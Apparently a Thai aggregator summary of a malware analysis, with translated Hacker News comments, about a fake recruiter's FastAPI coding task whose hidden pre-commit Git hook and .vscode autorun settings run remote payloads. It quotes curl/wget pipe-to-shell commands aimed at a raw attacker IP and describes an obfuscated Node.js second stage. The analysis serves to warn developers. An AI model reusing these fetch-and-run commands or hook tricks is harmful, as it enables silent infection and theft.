2 คะแนน โดย GN⁺ 2 시간 전 | 1 ความคิดเห็น | แชร์ทาง WhatsApp
  • ผู้สรรหาปลอมที่เสนอตำแหน่งนักพัฒนา Python แบบรีโมตบน LinkedIn ค่าตอบแทนเดือนละ $10,000~15,000 ส่งไฟล์ ZIP ที่ปลอมตัวเป็นโจทย์ FastAPI ปกติ และจัดวางให้ติดตั้งมัลแวร์ระหว่างขั้นตอนการทำงานกับ Git
  • ใน .git/hooks ของ repository มี pre-commit hook ซ่อนอยู่ ซึ่งจะรัน payload ระยะไกลแยกตามระบบปฏิบัติการอย่างเงียบ ๆ และขั้นตอน Git ใน PDF โจทย์ก็เป็นกลไกที่ล่อให้ผู้สมัครเรียกใช้งานมัน
  • payload บน Linux จะดาวน์โหลดสคริปต์ขั้นที่ 2 ลงใน ~/Documents แล้วรันด้วย nohup จากนั้นติดตั้ง Node.js, dependency และ parser.js ที่ถูก obfuscate ก่อนให้ทำงานเบื้องหลัง
  • เมื่อเปลี่ยนค่า id=402 ใน request จะได้สคริปต์อื่นกลับมา และใน package.json มี clipboardy สำหรับเข้าถึง clipboard กับ hardhat สภาพแวดล้อมพัฒนา Ethereum รวมอยู่ด้วย แต่ยังยืนยันเป้าหมายสุดท้ายไม่ได้
  • ผู้โจมตีเพียงเพิ่มไดเรกทอรีอันตรายเข้าไปใน repository FastAPI สาธารณะ ส่วน variant อื่นจะรันคำสั่งแค่เปิดโฟลเดอร์ใน VSCode ก่อนจัดการโปรเจกต์ภายนอกควรตรวจสอบ ไดเรกทอรีซ่อนและการตั้งค่า autorun

ข้อเสนองานที่ดีเกินไป

  • ข้อเสนองานนักพัฒนา Python ที่ส่งมาทาง LinkedIn เป็นรูปแบบสัญญาจ้างแบบ remote-first ก่อนเปลี่ยนเป็นพนักงานประจำ โดยจ่ายเดือนละ $10,000~15,000
  • การเปิดเผยค่าตอบแทนสูงก่อนแม้แต่จะพูดคุยกัน เป็นสัญญาณเตือนแรก เพราะถือเป็นจำนวนเงินที่สูงมากเมื่อเทียบกับมาตรฐานอินเดีย
  • บริษัทที่ถูกใช้ในการสรรหาถูกยืนยันว่าเป็นสตาร์ทอัพจาก Y Combinator แต่ยังน่าสงสัยว่า หากเป็นบริษัทที่มีงบประมาณระดับนั้น โดยทั่วไปน่าจะมีกระบวนการจ้างงานที่เป็นระบบกว่านี้
  • เมื่อส่งเรซูเม่ไปก็ได้รับการอนุมัติทันที และได้รับไฟล์ ZIP archive กับ PDF คำสั่งงานผ่าน Google Drive
  • PDF ระบุให้ปรับปรุง codebase เดิม เสนอ architecture และทำงานกับ Git ทำให้ภายนอกดูคล้ายเอกสารประเมินปกติ

Git hook ที่ซ่อนอยู่ในโปรเจกต์ FastAPI

  • ไฟล์บีบอัดมี FastAPI backend ธรรมดาที่ใช้ SQLAlchemy อยู่ภายใน และใน requirements.txt ก็ไม่พบ typosquatting หรือแพ็กเกจอันตรายที่เห็นได้ชัด
  • เมื่อต้องการตรวจสอบรายการที่ซ่อนอยู่จึงรัน tree -a แล้วพบว่ามี Git hook หลายตัวถูกตั้งค่าไว้ล่วงหน้าใต้ .git/hooks
  • สคริปต์ pre-commit ใช้ uname -s ตรวจระบบปฏิบัติการ แล้วดาวน์โหลดและรัน payload ตามแพลตฟอร์มจากเซิร์ฟเวอร์เดียวกัน
    • บน macOS รัน curl .../task/mac?id=402 | sh
    • บน Linux รัน wget .../task/linux?id=402 | sh
    • บน Windows รัน curl .../task/windows?id=402 | cmd
  • output ทั้งหมดถูกส่งไปที่ /dev/null และโปรเซสถูกปล่อยให้ทำงานเบื้องหลังเพื่อ ซ่อนร่องรอยการรันจากผู้ใช้
  • การใช้ IP address ดิบ 45.61.164.38:5777 โดยตรงแทนโดเมน ทำให้พฤติกรรมอันตรายยิ่งสะดุดตา

payload หลายขั้นบน Linux

  • สคริปต์ Linux ตัวแรกดาวน์โหลด tokenlinux.npl ลงใน ~/Documents เปลี่ยนชื่อเป็น tokenlinux.sh แล้วให้สิทธิ์ execute
  • จากนั้นใช้ nohup bash รันสคริปต์ในเบื้องหลัง ทำให้โปรเซสยังทำงานต่อแม้ปิด terminal หรือ logout แล้ว
  • สคริปต์ขั้นที่ 2 ทำงานต่อไปนี้อย่างเงียบ ๆ
    • ติดตั้ง Node.js และตั้งค่า system path
    • ดาวน์โหลด parser.js และ package.json
    • ติดตั้ง npm dependency ที่จำเป็น
    • รัน parser.js ด้วย nohup node และบันทึก log ลง parser.log
  • parser.js ถูก obfuscate อย่างหนักจนวิเคราะห์ด้วยมือได้ยาก และไฟล์ต้นฉบับถูกเก็บไว้ที่ parser.js

ความเป็นไปได้ในการระบุตัวเหยื่อแต่ละราย

  • endpoint ส่งพารามิเตอร์ id=402 ซ้ำ ๆ และเมื่อเปลี่ยนค่านี้ก็ได้รับสคริปต์ที่ต่างออกไปโดยสิ้นเชิง
  • มีความเป็นไปได้ว่าผู้โจมตีกำหนดตัวระบุเฉพาะให้ผู้สมัครแต่ละคนเพื่อส่ง payload เฉพาะราย แต่ยังยืนยันวิธีติดตามจริงไม่ได้
  • มีการป้อนโค้ดให้ LLM หลายตัวเพื่อ deobfuscate แต่ผลลัพธ์ไม่ตรงกัน
    • Claude ปฏิเสธการวิเคราะห์เพราะข้อจำกัดด้านความปลอดภัยทำงาน
    • Gemini ให้ผลการวิเคราะห์สคริปต์
  • การค้นหานามสกุลเดิม tokenlinux.npl พบว่าเกี่ยวข้องกับแคมเปญโจมตีที่แพร่กระจายในวงกว้างกว่า

dependency ของ Node.js ที่น่าสงสัย

  • ชื่อโปรเจกต์ใน package.json คือ tokendapp และมี hardhat, axios, basic-ftp, clipboardy, jsonwebtoken, ps-node, request เป็นต้น
  • ยังไม่ชัดเจนว่าทำไมงานตั้งค่าเบื้องหลังจึงต้องใช้ clipboardy สำหรับ เข้าถึง clipboard และแพ็กเกจเกี่ยวกับ file system
  • hardhat เป็นสภาพแวดล้อมพัฒนา Ethereum แต่เนื่องจาก Ethereum เปลี่ยนออกจากระบบ proof-of-work แล้ว จึงสรุปไม่ได้ว่าเป็นการตั้งค่าขุดเหรียญทั่วไป
  • มีการพิจารณาความเป็นไปได้ว่าต้องการค้นหา crypto wallet หรือโต้ตอบกับ browser extension ภายในเครื่อง แต่ ยังยืนยันเป้าหมายอันตรายสุดท้ายไม่ได้

variant อื่นที่ใช้ VSCode

  • variant อื่นของการโจมตีเดียวกันซ่อน โฟลเดอร์ .vscode ไว้ในไฟล์ ZIP และตั้งค่าให้รันคำสั่งเมื่อเปิดไดเรกทอรีนั้นด้วย VSCode
  • วิธีนี้อาจติดเชื้อได้เพียงแค่เปิดโฟลเดอร์ โดยไม่ต้องรันคำสั่ง Git หรือรันโค้ดโปรเจกต์โดยตรง
  • ตรวจสอบแล้วพบว่าไม่ได้มีบริษัทใดบริษัทหนึ่งเกี่ยวข้องกับการโจมตีโดยตรง แต่ผู้โจมตียืมชื่อบริษัทที่พบมาใช้เพื่อทำให้ข้อเสนองานดูถูกต้องตามกฎหมาย

การอำพรางด้วยการนำ repository สาธารณะมาใช้ซ้ำ

  • ใน git log ยังคงมีประวัติ commit ของนักพัฒนาเดิมอยู่ครบ ไม่ใช่โปรเจกต์ที่ผู้โจมตีสร้างเอง
  • ต้นฉบับคือ repository สาธารณะ personal-finance-service
  • ผู้โจมตี clone โปรเจกต์ FastAPI ปกติ แล้วเพียงเพิ่ม ไดเรกทอรีซ่อนอันตราย เข้าไปเพื่อปลอมเป็น codebase สำหรับโจทย์
  • หากตรวจเฉพาะโค้ดปกติและ requirements.txt ที่สะอาด ก็อาจพลาดพฤติกรรมอันตรายได้

การตรวจสอบเซิร์ฟเวอร์โจมตีและข้อจำกัด

  • เมื่อสแกนเซิร์ฟเวอร์โจมตีด้วย Nmap พบพอร์ตเปิด 3 พอร์ต โดย 2 พอร์ตในนั้นไม่ตอบสนองต่อการตรวจจับเวอร์ชัน
  • พอร์ต 22 รัน OpenSSH 9.6p1 บน Ubuntu
  • ณ เวลาที่สแกน เวอร์ชันดังกล่าวเพิ่งออกมาได้ราวหนึ่งสัปดาห์ จึงไม่พบ CVE ที่รู้จักซึ่งนำมาใช้ได้ และยากที่จะขยายการตรวจสอบเข้าไปภายในเซิร์ฟเวอร์
  • แม้วิธีแจกจ่ายมัลแวร์จะสะดุดตา แต่ความปลอดภัยด้านปฏิบัติการของเซิร์ฟเวอร์ยังค่อนข้างดี และการติดตามจึงหยุดลงที่จุดนี้

บทบาทของโจทย์ Git

  • งาน Git ใน PDF โจทย์เป็นกลไกที่ล่อให้ผู้สมัครต้องรันคำสั่ง Git อย่างน้อยหนึ่งครั้ง เพื่อ กระตุ้น hook ที่ติดตั้งไว้ล่วงหน้า
  • ผู้สรรหาปลอมดูเหมือนจะลบบัญชี LinkedIn ทันทีหลังได้รับการติดต่อว่าโจมตีถูกตรวจพบแล้ว
  • ก่อนรันโปรเจกต์แปลกหน้า หรือใช้คำสั่ง Git ควรใช้เครื่องมืออย่าง tree -a ตรวจสอบ ไดเรกทอรีซ่อนและการตั้งค่า autorun เช่น .git, .vscode

1 ความคิดเห็น

 
GN⁺ 2 시간 전
ความคิดเห็นบน Hacker News
  • หลังจากอ่านบทความนี้ถึงได้รู้ว่าตัวเองถูกแฮ็กด้วยวิธีที่ซับซ้อนกว่ามาก
    ไม่กี่สัปดาห์ก่อนผมสัมภาษณ์กับ CTO ของบริษัทจริงแห่งหนึ่ง เขาปิดกล้องไว้และสำเนียงค่อนข้างหนัก แต่เนื้อหาการสัมภาษณ์ดูเป็นธรรมชาติและเขาก็รู้เรื่องเทคนิคดี ในรอบสัมภาษณ์เชิงเทคนิค เขาบอกว่าต้องแก้โปรเจกต์โอเพนซอร์สของบริษัท จึงให้โคลน repository และตรวจสอบสภาพแวดล้อมการพัฒนา
    หลังจากนั้นฝ่าย HR แจ้งว่าสัมภาษณ์ถูกเลื่อนเพราะ CTO ป่วย และไม่กี่วันต่อมาโปรไฟล์ LinkedIn ของ HR คนนั้นก็ถูกลบไป หลังจากเห็นบทความนี้จึงกลับไปตรวจสอบ พบว่า repository ที่โคลนและรันระหว่างสัมภาษณ์มี payload มัลแวร์ อยู่
    ดูเหมือนว่าผมตกเป็นเป้าเพราะเคยดูแล แพ็กเกจ NPM ที่มียอดดาวน์โหลดมากกว่า 43 ล้านครั้งต่อสัปดาห์ แม้จะเปิดใช้การยืนยันตัวตนสองขั้นตอนกับทุกบัญชี และเผยแพร่แพ็กเกจ NPM แบบ manual โดยไม่ใช้ token มาโดยตลอด แต่ก็ต้องล้างเครื่องแล็ปท็อปและติดตั้งทุกอย่างใหม่

    • พอกลับไปดูตารางนัด พบว่าเป็น สัมภาษณ์ 45 นาที ที่จองผ่าน Calendly และผมได้คุยกับคนที่แอบอ้างเป็น CTO ผ่านลิงก์ที่ HR ส่งมาเป็นเวลา 45 นาทีจริง ๆ
      ลองค้นหาโพสต์ HN คล้าย ๆ กันแล้ว แต่ไม่เจอกรณีที่ถึงขั้นโทรผ่าน Google Meet กับมิจฉาชีพ
    • ผมจะปฏิเสธคำขอให้โคลนโปรเจกต์สุ่ม ๆ มาเลย ในฐานะนักพัฒนา Rails ผมสามารถสร้างโครงแอปพลิเคชันทั้งตัวได้ในไม่กี่นาที ดังนั้นถ้าให้ requirement มา ผมจะบอกว่าจะทำเองตั้งแต่ต้นจนจบ
      ถ้าเป็นบริษัทที่จริงจังก็คงพิจารณาได้ และถ้าปฏิเสธก็ถือว่าหลีกเลี่ยงความเสี่ยงไปได้ ตอนนี้มีการใช้ LLM ช่วยสร้างโค้ดกันอย่างกว้างขวางแล้ว ผมคิดว่าวิธีนี้ควรทำได้กับทุก tech stack
    • ในสภาพแวดล้อมแบบนี้ ดูเหมือนว่าจำเป็นต้องมี VS Code ที่แยกกักไว้ด้วยคอนเทนเนอร์
    • มันแปลกที่เราใช้โซเชียลมีเดียเดียวกับคนที่น่าจะตกเป็นเป้าการโจมตีแบบเจาะจงได้ สำหรับคนธรรมดาอย่างผม สิ่งที่ได้รับก็มีแต่สแกมอย่าง “ฟรีสปิน” หรือ “มหาเศรษฐีเยอรมันที่กำลังจะตาย” และหัวข้ออีเมลที่น่าจดจำที่สุดคือ “ขอโทษที่ทำให้ช่องคลอดของคุณพัง”
  • ช่วงนี้ดูเหมือน การโจมตีจากเกาหลีเหนือที่มุ่งเป้านักพัฒนา จะเพิ่มขึ้น นอกจากกลยุทธ์แบบนี้ที่มีมาหลายปีแล้ว ผมยังได้รับอีเมลจากแฮ็กเกอร์เกาหลีเหนือประมาณสัปดาห์ละครั้งว่า “เห็นโปรไฟล์แล้ว สนใจร่วมงานกันไหม”
    ในชุมชน Discord ด้านโปรแกรมมิงก็มีหลายบัญชีที่เข้ามาแล้วไม่กี่วันก็ขอเรื่องงานหรือขอร่วมโปรเจกต์ อาจเป็นผู้หางานจริงก็ได้ แต่ปริมาณและความคล้ายกันของข้อความน่าสงสัย และเมื่อเห็นว่าพวกเขายังตามไปถึงชุมชนไลบรารี Python เฉพาะทางที่แทบไม่มีกิจกรรม ก็ดูเหมือนกำลัง scrape รายชื่อชุมชน Discord แล้วสุ่มเข้าหาแบบหว่านแห
    การโจมตีที่ฉวยใช้ความไว้ใจกันมีมากขึ้น ดังนั้นอย่างที่พ่อแม่เคยบอกไว้ เราจำเป็นต้อง ไม่ไว้ใจคนแปลกหน้าบนอินเทอร์เน็ต

    • ตอนนี้สามารถใช้ LLM สร้างบทสนทนาพื้นฐานที่เป็นธรรมชาติ ได้แล้ว จึงคัดกรองว่าเป็นบอตทันทีเหมือนเมื่อก่อนได้ยากขึ้น
  • มีการใช้วิธีตรวจสอบระบบปฏิบัติการของเหยื่อแล้วแอบรัน payload ระยะไกลซ้ำ ๆ และเมื่อเดือนที่แล้วก็มีโพสต์คล้ายกันขึ้นหน้าแรก
    https://news.ycombinator.com/item?id=48546294

    • ต้นฉบับก็ระบุเรื่องนี้โดยตรง และลิงก์ไปยังผลการค้นหา Google ที่แสดงเนื้อหาเดียวกันไว้ด้วย
  • IP address แบบดิบให้ความรู้สึกว่าเป็นมัลแวร์อย่างแรง แต่ถ้าเหยื่อส่องลึกพอถึงขั้นตรวจเนื้อหา hook แล้ว ก็คงไม่หยุดสงสัยแค่นั้น นักพัฒนาส่วนใหญ่น่าจะไม่คิดว่า git commit สามารถรันพฤติกรรมอันตรายได้ เลยสงสัยว่านี่เป็นช่องโหว่ด้านความปลอดภัยของ Git หรือไม่

    • การโคลน repository เฉย ๆ จะไม่เปิดใช้งาน Git hook โดยอัตโนมัติ แต่กรณีนี้ไม่ใช่การโคลน เป็น โปรเจกต์ที่ดาวน์โหลดมา จึงต่างกัน
    • ไม่ว่าจะใช้เครื่องมือใด การ รันโค้ดที่ดาวน์โหลดมาโดยไม่ได้ตรวจสอบ เองก็เป็นอันตรายในตอนนี้
  • สิ่งที่เหลือให้เห็นมีแค่ว่า Claude ใช้เป็นผู้ช่วยไม่ได้เลย เพราะมาตรการความปลอดภัยสารพัด

  • การใช้ IP ดิบอาจมีเป้าหมายเพื่อไม่ทิ้งข้อมูลระบุตัวตนไว้กับผู้จดทะเบียนโดเมน หรือเพื่อลดร่องรอยออนไลน์ให้เหลือน้อยที่สุด

    • เพราะแบบนี้ IP address แบบดิบ จึงมักเกี่ยวข้องกับกิจกรรมน่าสงสัย
    • โฮสต์เหล่านั้นเองก็อาจเป็นระบบที่ติดมัลแวร์และกำลังถูก นำไปใช้เป็นพร็อกซีในทางมิชอบ อยู่ก็ได้
  • สกรีนช็อตส่วนใหญ่เปิดดูตรง ๆ ไม่ได้ ต้องเปิดในแท็บใหม่
    สแกมนี้ค่อนข้างแนบเนียน น่าจะมีผู้หางานจำนวนมากตกเป็นเหยื่อไปแล้ว และ โปรเจกต์ Visual Studio Code ที่กล่าวถึงในบทความก็ดูอันตรายยิ่งกว่า หากแค่เปิดโปรเจกต์ก็ทำให้โค้ดของผู้ใช้ถูกรันได้ นั่นเป็นเส้นทางมัลแวร์ที่ชัดเจน จึงจำเป็นต้องมีมาตรการลดความเสี่ยงด้านความปลอดภัย
    การรับมือของเว็บไซต์หางานก็ยังไม่เพียงพอ หากมีใครอ้างว่าสังกัดบริษัทหรือองค์กร ก็ควรกำหนดให้แสดงหลักฐานการทำงาน และแค่แสดงคำเตือนขนาดใหญ่ในข้อความจากบัญชีที่ยังไม่ผ่านการยืนยัน ก็จะทำให้สแกมจำนวนมากทำได้ยากขึ้น ตอนนี้ใคร ๆ ก็อ้างประสบการณ์ทำงานหรือวุฒิการศึกษาจากบริษัทใดก็ได้ตามใจ

    • ดูเหมือน Microsoft จะลืมประวัติของ มัลแวร์มาโคร Word·Excel ที่เคยรันอัตโนมัติเมื่อเปิดเอกสาร
    • รูปภาพทั้งหมดโฮสต์อยู่บน GitHub Pages น่าจะต้องใช้ CDN แยกต่างหาก
  • ดีใจที่มีโพสต์เกี่ยวกับการแฮ็กจริง ๆ ขึ้นหน้าแรกของ Hacker News

    • คำว่าแฮ็กเกอร์ใน Hacker News มีความหมายอีกแบบหนึ่ง
      http://www.catb.org/jargon/html/H/hacker.html
      หมายถึงคนที่สำรวจโครงสร้างละเอียดและข้อจำกัดของระบบที่โปรแกรมได้ และโดยเฉพาะอย่างยิ่งสนุกกับการทำความเข้าใจการทำงานภายในของคอมพิวเตอร์และเครือข่ายอย่างลึกซึ้ง อีกทั้งยังหมายถึงคนที่เขียนโปรแกรมอย่างกระตือรือร้น บางครั้งถึงขั้นหมกมุ่น ไม่ได้หยุดอยู่แค่ทฤษฎี
  • หาก LinkedIn จริงจังกับการป้องกันสแกม ก็ควรให้มี การยืนยันอีเมลบริษัท เมื่อระบุที่ทำงานปัจจุบัน ถ้าการบังคับใช้เป็นภาระมากเกินไป อย่างน้อยก็ควรเปิดให้ recruiter ที่ต้องการแสดงความน่าเชื่อถือเลือกยืนยันได้

    • LinkedIn เพิ่มฟีเจอร์นี้ไปแล้วในปี 2023 (https://news.linkedin.com/2023/april/linkedin-s-new-verifica...) แต่มีคนยืนยันอีเมลจริงน้อย ดังนั้นการไม่มีเครื่องหมายยืนยันจึงไม่ได้แปลว่าปลอมเสมอไป
    • ผมกับเพื่อน ๆ เคยใช้โปรไฟล์ปลอมหลอกล่อ recruiter และบริษัทอยู่หลายปี เพื่อดูว่ามีตำแหน่งอะไรเปิดอยู่และกำลังมองหาผู้สมัครแบบไหน วิธีนี้มีประโยชน์เป็นพิเศษในการแยกบริษัท·recruiter ปกติกับมิจฉาชีพออกจากกัน ช่วงที่ JavaScript framework เพิ่มขึ้นอย่างรวดเร็ว
      ตอนนี้ก็น่าจะเกิดเรื่องคล้ายกันโดยเล็งไปที่ ตลาดจ้างงาน AI และความต้องการด้าน LLM·automation
  • การโจมตีแบบนี้น่าจะพบได้บ่อยขึ้นเรื่อย ๆ ผู้โจมตีค้นคว้ามาอย่างละเอียดและวิธีการก็โหดร้าย แต่ ความสมบูรณ์ทางเทคนิค ก็นับว่ายอมรับได้ และคิดว่าอัตราสำเร็จน่าจะค่อนข้างสูงจริง

    • กระบวนการแกะดูข้างในสนุกเหมือน โจทย์ CTF ถ้าเซิร์ฟเวอร์ของผู้โจมตีมีช่องโหว่ด้วยก็คงน่าสนใจกว่านี้
    • ทักษะของพวกเขาอาจเป็นเพียงสิ่งที่ ยืมมาจาก LLM ก็ได้